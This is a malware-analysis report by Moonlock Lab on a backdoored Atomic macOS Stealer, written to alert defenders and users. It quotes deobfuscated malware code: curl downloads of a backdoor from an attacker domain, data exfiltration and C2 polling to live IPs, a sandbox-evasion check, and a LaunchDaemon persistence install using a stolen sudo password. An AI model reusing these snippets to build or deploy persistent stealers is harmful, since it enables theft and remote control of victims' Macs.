Atomic macOS Stealer now includes a backdoor for persistent access

Atomic macOS Stealer (AMOS), a popular piece of stealer malware for macOS, has just received a major update. For the first time, it’s being deployed with an embedded backdoor. This change allows attackers to maintain persistent access to a victim’s Mac, run arbitrary tasks from remote servers, and gain extended control over compromised machines.

This represents the highest level of risk Moonlock, a cybersecurity division of MacPaw, has observed from AMOS so far. It is believed to be only the second known case — after North Korean threat actors — of backdoor deployment at a global scale targeting macOS users.

AMOS malware campaigns have already reached over 120 countries, with the United States, France, Italy, the United Kingdom, and Canada among the most affected. The backdoored version of Atomic macOS Stealer now has the potential to gain full access to thousands of Mac devices worldwide.

The dangerous evolution of Atomic macOS Stealer

Russia-affiliated AMOS threat group has long been known for targeting Apple users with data-stealing malware. Until now, their main product — Atomic macOS Stealer — mainly focused on data exfiltration from cryptocurrency-related browser extensions and cold wallets. With the addition of an embedded backdoor to their stealer, AMOS can now remotely execute arbitrary commands, gain full user-level access, and persist on macOS even after a reboot.

For Mac users, this update means the threat is no longer limited to stolen credentials or documents. It now opens the door to full system compromise.

The upgrade to AMOS represents a significant escalation in both capability and intent, whether the changes were made by the original malware authors or by someone else modifying the code.

New features like keylogger installation may also be added to AMOS, taking advantage of the already embedded backdoor on the system. The following message, shared with us by @g0njxa, comes from one of the internal chats of the threat group.

Some of our readers have also shared that AMOS is testing a new strategy. They target users who own cryptocurrencies specifically rather than those who happen to download cracked software, as seen in earlier campaigns.

A new AMOS command-and-control (C2) infrastructure is currently live and responsive. This is clear evidence that the campaign has already been launched and is in full swing.

Similarities to North Korean attack strategies

As Moonlock previously reported, North Korean threat actors have been actively combining a backdoor with a stealer in macOS attacks. The attack typically begins with a LinkedIn message offering the target a job, along with a link to a separate site containing the job description. Once there, the victim is tricked into installing a Go-based backdoor via a phishing link disguised as video conferencing software for the interview. 

After gaining access, the attackers phish for credentials and remotely connect to the victim’s workstation. But their goal isn’t long-term persistence. The main objective is to quickly steal cryptocurrency and other sensitive data in a single sweep.

It’s clear that the Russia-affiliated authors of Atomic macOS Stealer are following in the footsteps of North Korean attack groups. To better compare the infection chains, let’s look at a short overview of how the updated stealer works. 

How the updated Atomic macOS Stealer works

There are currently 2 main distribution vectors for AMOS: websites offering cracked or fake software, and spear phishing campaigns targeting high-value individuals like large crypto owners. 

Spear phishing starts with Atomic macOS Stealer being delivered during a staged job interview process, typically targeting artists or freelancers. The victim is asked to enter their system password to enable screen sharing. Once executed, the stealer can extract sensitive data such as passwords and seed phrases and install a persistent backdoor that awaits remote commands.

The overall AMOS infection process closely mirrors the early stages of North Korean attack patterns, but significant changes occur after the initial data theft is complete.

Diving into the code

The overall process of malware infection remains almost unchanged during the early stages. However, major additions occur after the usual data-stealing process is completed. Let’s start with what happens on the system when a malware file is delivered.

First, a trojanized DMG file mimics a legitimate installer. It contains a Mach-O file (usually named “.Installer”), a bash wrapper script with generic extensions (such as “Installer.wux”), and a Terminal alias. Together, they are used to socially engineer execution on macOS via Gatekeeper bypass.

On the bash script side, we still have an embedded AppleScript run via osascript to locate .Installer, copy it into /tmp/, clean file attributes with xattr, set execution permissions with chmod +x, and finally, execute the binary malware.

The primary Mach-O payload contains a regular stealer functionality that exfiltrates data to a remote C2. But it also features a new addition for this malware family: persistence via .agent script and .helper binary with the main backdoor logic.

Persistence is gained by creating a PLIST file via launchctl, which is a typical macOS technique for malware to survive reboots. A variant of the fake Ledger Live app previously described by our team comes in a bundle with the aforementioned threats.

Currently, threat actors use the following URL to fetch it: https://isnimitz.com/zxc/app.zip. It later replaces the original one via sudo rm and unzip commands.

Data exfiltration happens over HTTP with a POST request using curl and custom headers. In most cases, the following IP addresses (among a few others) are utilized: 45.94.47.145, 45.94.47.147.

Introducing the backdoor

One element present in almost all AMOS malware to date is the execution of AppleScript as the main payload. Now, it includes new logic for setting up persistence, which resides in a function called installBot. 

The overall communication between malware and C2 has changed drastically from one-shot data draining to more complex assignments of unique identifiers to each infected host.

The first thing that is done to set up a backdoor is to initialize “profile” and “botUrl” variables (among others). These are later used in the “installBot” and “replaceApp” functions, alongside the user’s password, retrieved via a fake prompt earlier. 

Variables such as “login,” “buildid,” “cn,” and others are used in the HTTP POST request sent to the IP address located in the “gate” variable.

set profile to "/Users/" & username
...
set login to "N9VXZ4KPS1ImRJ31CbZSLRQanDQPN2GxluHyoP-CbG8="
set buildid to "jr-Unnhj4mit33GBfUUNqv8Ug4fLZdQpDO70LqFV2hc="
set gate to "http://45.94.47.147" <--- (also used 45.94.47.145)
set cl to "0"
set cn to "EHohNQyGKy-KKS5af2oAsbV-8GLICPFeOxzjlbfxoPw="
set botUrl to "isnimitz.com"

send_data(0, gate, login, buildid, cl, cn)    <-- (send stolen data)
try
	do shell script "rm -f " & profile & "/.username"
end try
...
replaceApp(profile, password_entered, botUrl) <-- (Fake Ledger Live)
installBot(profile, password_entered, botUrl) <-- (Backdoor)
...

The backdoor itself gets downloaded from https://isnimitz[.]com/zxc/app. It acts as a second-stage binary executable (hidden by the name .helper in the user’s home directory).

set botPath to (quoted form of (profile & "/.helper"))
do shell script "curl -o " & botPath & " https://" & botUrl & "/zxc/app"
do shell script "chmod +x " & botPath

An interesting decision has been made by the threat actor to create an additional script named “.agent.” The script acts as a middle layer, placed near “.helper,” so LaunchDaemon can execute the backdoor indirectly.

set scriptContent to "while true; do\n    osascript <<EOF\n    set loginContent to do shell script \"stat -f \\\"%Su\\\" /dev/console\"\nif loginContent is not equal to \"\" and loginContent is not equal to \"root\"\n    do shell script \"sudo -u \" & quoted form of loginContent & \" " & (quoted form of (profile & "/.helper")) & "\n    end if\nEOF\n    sleep 1\ndone"

writeText(scriptContent, profile & "/.agent")
do shell script "chmod +x " & quoted form of (profile & "/.agent")

This .agent script is created to continuously run .helper as the logged-in user. The LaunchDaemon responsible for activating “.agent” after each reboot is generated in the same AppleScript and placed into /tmp/starter. It defines the LaunchDaemon PLIST under the label com.finder.helper. The daemon is configured to run /bin/bash ~/.agent at boot and keep it alive.

set listContent to "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
<plist version=\"1.0\">
<dict>
    <key>Label</key>
    <string>com.finder.helper</string>
    <key>ProgramArguments</key>
    <array>
        <string>/bin/bash</string>
        <string>" & profile & "/.agent</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <true/>
</dict>
</plist>"
writeText(listContent, "/tmp/starter")

After being placed into a temporary directory, AppleScript escalates privileges using the stolen password to install the .plist into the system daemon directory. It changes file ownership to root:wheel and loads the daemon via launchctl.

do shell script "echo " & quoted form of pwd & " | sudo -S cp /tmp/starter /Library/LaunchDaemons/com.finder.helper.plist"
do shell script "echo " & quoted form of pwd & " | sudo -S chown root:wheel /Library/LaunchDaemons/com.finder.helper.plist"
do shell script "echo " & quoted form of pwd & " | sudo -S launchctl load /Library/LaunchDaemons/com.finder.helper.plist"

For a clearer understanding of how this works once the backdoor gains access to the system, here’s a step-by-step breakdown of the execution chain.

How a backdoor expands AMOS capabilities

It’s worth noting that this Mach-O file reuses the same obfuscation as seen in the first stage. It mainly contains obfuscated strings passed to “system(3)”/”popen(3)” functions. The first “system(3)” again calls checks for virtual machines or sandboxes. 

osascript -e '
set memData to do shell script "system_profiler SPMemoryDataType"
set hardwareData to do shell script "system_profiler SPHardwareDataType"

if memData contains "QEMU" or 
   memData contains "VMware" or 
   memData contains "KVM" or 
   hardwareData contains "Z31FHXYQ0J" or
   hardwareData contains "C07T508TG1J2" or
   hardwareData contains "C02TM2ZBHX87" or
   hardwareData contains "Chip: Unknown" or
   hardwareData contains "Intel Core 2" then
        set exitCode to 100
else
        set exitCode to 0
end if
do shell script "exit " & exitCode
'

We also spotted usage of “getuid(2)” and “getpwuid(3)” functions, which gain access to the user’s $HOME folder (passwd.pw_dir). If the file $HOME/.id doesn’t exist, a HTTP POST request is sent.

curl -s -X POST http://45.94.47.147/api/join/ -d 'bIx3CL-PPk4LGFDUcm46sd168/eEHpTIssQ9/f0BD5E='

In our case, the identifier “bIx3CL-PPk4LGFDUcm46sd168/eEHpTIssQ9/f0BD5E=” is obtained from $HOME/.username. This file was created during the first stage (in the first AppleScript).

This request, in turn, returns another ID, such as “rj6LeUfFRSCCK0HeLmXO1w==” that later gets written into file $HOME/.id.

This ID is used for communication with a C2 server by sending the following HTTP request.

curl -s http://45.94.47.147/api/tasks/rj6LeUfFRSCCK0HeLmXO1w==

Given what we know, it is fair to assume that there is a pool of so-called “tasks” fetched by infected machines and executed on a compromised system.

An inside look shows that this HTTP request is sent in the loop every 60 seconds.

We can expect to receive a response with one of the following commands:

• execute (execute shell command received from C2 via system(3))
• pong (sleep again for 60 seconds)
• repeat
• delete (it executes the following commands and exits with self-deletion)

rm -f $HOME/.id
rm -f $HOME/.username
rm -f $HOME/.helper

After fully researching this malware, it becomes obvious that further modifications to its codebase are likely to appear over time. For example, backdoors developed by DPRK threat actors utilized at least 13 separate C2 commands, with additional ones included for logging. 

Currently, it looks like the infamous developers of macOS stealers have only taken their first steps into a new niche on the market. There can be no doubt that this represents a high level of danger for macOS users.

How the army of stealers becomes an army of backdoors

Since the beginning of 2024, we’ve seen a rapid increase in the number of unique binary samples of the AMOS malware family.

We haven’t seen significant changes in the percentage of North Korean backdoor binary samples relative to the Atomic macOS Stealer. It can be surmised that the market of stealers (and MaaS in general) dominated in 2024 and is continuing into 2025.

Unfortunately, there’s always room for growth. We assume that stable distribution channels (which AMOS obviously has, taking into account its traffer groups) will allow the developers of AMOS malware to steadily extend their capabilities to cover both stealer and backdoor branches.

If we take into account all stealers and backdoors received since 2024, we can forecast predicted values starting from July 2025. And since stealers are likely to employ backdoor functionality, we can assume that their combined value will likely grow. 

Final thoughts

The addition of a backdoor to the Atomic macOS Stealer marks a pivotal shift in one of the most active macOS threats. What was once a smash-and-grab data theft tool is now evolving into a platform for persistent access to a victim’s Mac.

An embedded backdoor enables long-term surveillance, re-infection, and broader exploitation opportunities, including keylogging. The AMOS threat group already has a large infection base and an active campaign underway. And with the rise of the malware-as-a-service (MaaS) industry, we expect more variants of the updated Atomic macOS Stealer to emerge.

Bad actors will likely continue to enhance this ready-to-use malware and improve its ability to evade detection, breach systems, maintain persistence, and exfiltrate data.

The combination of a plug-and-play stealer with backdoor functionality not only raises the technical sophistication of the group but also significantly increases the risk to victims. It turns a one-time breach into a long-term compromise.

How to keep yourself safe from AMOS

The longer AMOS stealer stays undetected, the more damage it can do to Mac users, their contacts, employers, or finances. It’s like a burglar who doesn’t leave after the theft but moves in and waits for the victim to buy more stuff so they can strike again.

It’s no secret that cybercriminals are increasingly targeting macOS, largely because so many people still believe Macs are immune to malware. This gap in awareness can’t be ignored. The new capabilities of the AMOS group require immediate attention, not just from security teams but everyday Mac users as well.

Staying informed about AMOS, especially the social engineering techniques it uses to mislead and spear phish victims, is crucial. It is more important than ever to reduce your digital footprint, as bad actors research their targets in detail before reaching out. The more they know, the more convincing their phishing attempts become and the more widespread AMOS gets.

The use of additional anti-malware software can help block these attacks. Modern anti-malware tools can detect if Atomic macOS Stealer tries to breach your system. These programs can warn you early and stop the attack before it even begins.

Moonlock Lab is sharing this report to alert security teams so they can update their products and help protect as many people as possible from the growing dual threat that the stealer now presents. This threat is evolving, and so should our defenses. 

Moonlock Lab will continue its research into AMOS operations and share fresh updates as they come to light.

Indicators of compromise (IOCs)

This is an independent publication, and it has not been authorized, sponsored, or otherwise approved by Apple Inc. Mac and macOS are trademarks of Apple Inc.

Moonlock Lab Team

Moonlock Lab is a team of malware researchers and reverse engineers, whose expertise is at the core of Moonlock's cybersecurity products. Moonlock is the cybersecurity division of MacPaw.